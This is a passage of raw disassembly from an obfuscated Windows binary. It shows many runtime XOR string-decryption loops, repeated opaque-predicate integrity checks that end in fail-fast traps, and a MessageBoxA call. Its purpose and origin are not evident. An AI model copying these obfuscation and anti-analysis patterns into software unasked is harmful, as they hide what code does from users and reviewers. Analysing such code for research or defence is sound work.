mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fe3f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fe3f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fe5f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea270]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400ea3e0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x486a550c
mov dword [rbp + 0xbec], 0xc0de579
mov dword [rbp + 0xbf0], 0x80ee4b5e
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14003df18
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14002feb2
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140005388
mov rax, qword gs:[0x18]
cmp rax, r13
mov r12d, 0xe330532b
jne 0x14002ffb0
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ff90
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ff90
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ffb0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003005a
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003003a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003003a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003005a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rcx, [rbp + 0x9f8]
call fcn.14002e4b8
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140005498
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14003f034
lea rcx, [rbp + 0x9f8]
call fcn.14003ef70
lea rcx, [rbp + 0x9f8]
call fcn.1400059a8
mov rax, qword gs:[0x18]
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x140030165
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030145
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030145
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030165
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003021e
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400301fe
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400301fe
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003021e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov dword [rbp - 0x68], 0xf9ca8f21
mov word [rbp - 0x64], 0xaa89
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14003dea0
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14003023d
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xf9ca9d38
mov word [rbp - 0x54], 0xaa89
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov rsi, r12
mov r12d, 0xe330532b
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14003dea0
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14003028a
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14003f2a4
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14003ec7c
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003edd0
lea rcx, [rbp - 0x68]
call fcn.1400054f0
mov rcx, rax
call fcn.140005498
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14003eabc
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003edd0
lea rdx, [0x1400fc800]
lea rcx, [rbp + 0xa78]
call fcn.14003ec7c
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003edd0
lea rcx, [rbp + 0xa78]
call fcn.14003ef70
lea rcx, [rbp + 0xa78]
call fcn.1400059a8
lea rcx, [rbp + 0xa58]
call fcn.14003ef70
lea rcx, [rbp + 0xa58]
call fcn.1400059a8
lea rcx, [rbp + 0xa38]
call fcn.14003ef70
lea rcx, [rbp + 0xa38]
call fcn.1400059a8
mov rax, qword gs:[0x18]
cmp rax, r13
movabs rsi, 0x6914cbf2a209ecb0
jne 0x14003043f
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003041f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003041f
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003043f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400304e9
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400304c9
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400304c9
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400304e9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rcx, [rbp + 0x1208]
call fcn.14003e8e4
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400a4d00
mov rax, qword gs:[0x18]
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x1400305c0
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400305a0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400305a0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400305c0
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003066a
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003064a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003064a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003066a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140005440
lea rcx, [rbp + 0x10e8]
call fcn.14003f00c
nop
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140030731
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030711
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030711
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030731
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400307ea
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400307ca
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400307ca
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400307ea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rcx, [rbp + 0x11e8]
call fcn.14003e8e4
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14002e020
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400308b5
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030895
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030895
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400308b5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov dword [rbp + 0x1e0], 0x35806305
mov dword [rbp + 0x1e4], 0x355473d9
mov dword [rbp + 0x1e8], 0x5c41e023
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs rsi, 0x1a6e778c1
mov qword [rsp + 0x20], rsi
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14003de28
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x1400308e8
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14003f5c0
test al, al
movabs rsi, 0x6914cbf2a209ecb0
je 0x140030ebe
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400309f2
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400309d2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400309d2
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400309f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea390]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x68961ce
mov word [rbp + 0x7cc], 0x92fa
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14003dd3c
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x140030a2a
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400ea290]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400ea2b0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400ea3a0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400ea530]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400ea400]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400ea360]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400ea500]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400ea460]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0xf4f38f23
mov word [rbp + 0xde4], 0x51b5
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov rsi, r12
mov r12d, 0xe330532b
mov qword [rsp + 0x20], rsi
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14003ddb0
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x140030b0c
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x18]
cmp rcx, r13
movabs rsi, 0x6914cbf2a209ecb0
jne 0x140030c1c
mov rcx, qword gs:[9]
xor rcx, r12
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[9]
xor rcx, r12
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[9]
xor rcx, r12
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030bfc
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030bfc
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030c1c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140030cd7
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0xc6f3f7f8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030cb7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030cb7
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030cd7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
cmp edi, 7
je 0x14003dab1
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140030d8a
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030d6a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030d6a
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030d8a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a3dd8
int3
movdqa xmm0, xmmword [0x1400ea3d0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400ea3b0]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400ea230]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs r12, 0x1a6e778c1
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14003dcc8
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x140030dc7
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400a822c
mov rax, qword gs:[0x18]
cmp rax, r13
mov r12d, 0xe330532b
jne 0x140030ebe
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030e9e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030e9e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030ebe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
mov edi, 0xc6f3f7f8
cmp rax, r13
jne 0x140030f7b
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030f5b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030f5b
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030f7b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14003ee2c
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14002e600
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14003ed08
lea rcx, [rbp + 0xab8]
call fcn.14003ef70
lea rcx, [rbp + 0xab8]
call fcn.1400059a8
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x14003106e
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003104e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003104e
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003106e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031127
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031107
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031107
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031127
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14003efe0
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400311df
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400311bf
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400311bf
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400311df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031298
mov rcx, qword gs:[9]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031278
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031278
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031298
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a869c
mov r14, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x18]
cmp rcx, r13
jne 0x140031366
mov rcx, qword gs:[9]
xor edx, edx
mov eax, 0x18ff88d1
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[9]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031346
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031346
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031366
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x140031410
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400313f0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400313f0
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031410
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
mov rsi, qword [rbp + 0x10f8]
mov rax, qword gs:[0x18]
cmp rax, r13
jne 0x1400314c1
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400314a1
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400314a1
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400314c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a3dd8
int3
test r14, r14
je 0x14003d793
cmp qword [rbp + 0x10f8], r15
je 0x14003d793
mov rax, qword gs:[0x18]
movabs rbx, 0x6914cbf2a209ecb0
cmp rax, r13
jne 0x14003158b
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[9]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[9]
mov rax, qword [rbp + 0xf30]
